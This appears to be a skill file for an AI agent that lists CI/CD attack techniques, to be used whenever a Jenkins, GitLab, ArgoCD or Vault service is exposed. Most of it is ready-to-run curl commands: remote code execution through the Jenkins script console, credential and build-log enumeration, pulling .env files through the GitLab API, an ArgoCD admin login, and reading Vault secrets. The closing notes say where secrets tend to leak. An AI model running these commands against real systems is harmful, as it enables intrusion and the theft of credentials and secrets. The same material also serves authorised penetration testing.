| name | svc-cicd |
| description | CI/CD & dev-infra attack techniques — credential exposure, RCE (script console / build), pipeline abuse, secret stores. Use when a CI/CD or SCM service is exposed. Triggers - Jenkins /job/ or script console, GitLab, ArgoCD, TeamCity, Gitea, Drone, exposed .git, runner token, pipeline. |
CI/CD Attack Reference
Jenkins (8080/8443)
curl http://<target>:8080/
curl http://<target>:8080/script
curl http://<target>:8080/asyncPeople/
curl -d 'script=println+"id".execute().text' http://<target>:8080/script
curl http://<target>:8080/credentials/
curl http://<target>:8080/job/<name>/lastBuild/console
GitLab (80/443)
curl -s http://<target>/api/v4/version
curl http://<target>/explore/projects
curl http://<target>/explore/snippets
curl -H "PRIVATE-TOKEN: <token>" http://<target>/api/v4/projects?membership=true
curl -H "PRIVATE-TOKEN: <token>" http://<target>/api/v4/projects/<id>/repository/files/.env/raw?ref=main
ArgoCD (8080/443)
curl -k https://<target>/api/v1/session -d '{"username":"admin","password":"<pass>"}'
curl -k -H "Authorization: Bearer <token>" https://<target>/api/v1/applications
Vault (8200)
curl http://<target>:8200/v1/sys/health
curl http://<target>:8200/v1/sys/seal-status
curl -H "X-Vault-Token: <token>" http://<target>:8200/v1/secret/data/
General CI/CD Checks
- Search for
.env, docker-compose.yml, Jenkinsfile, .gitlab-ci.yml in repos
- Pipeline logs often contain secrets in plaintext
- Service account tokens in pods/containers
- Registry credentials (Docker Hub, ECR, GCR)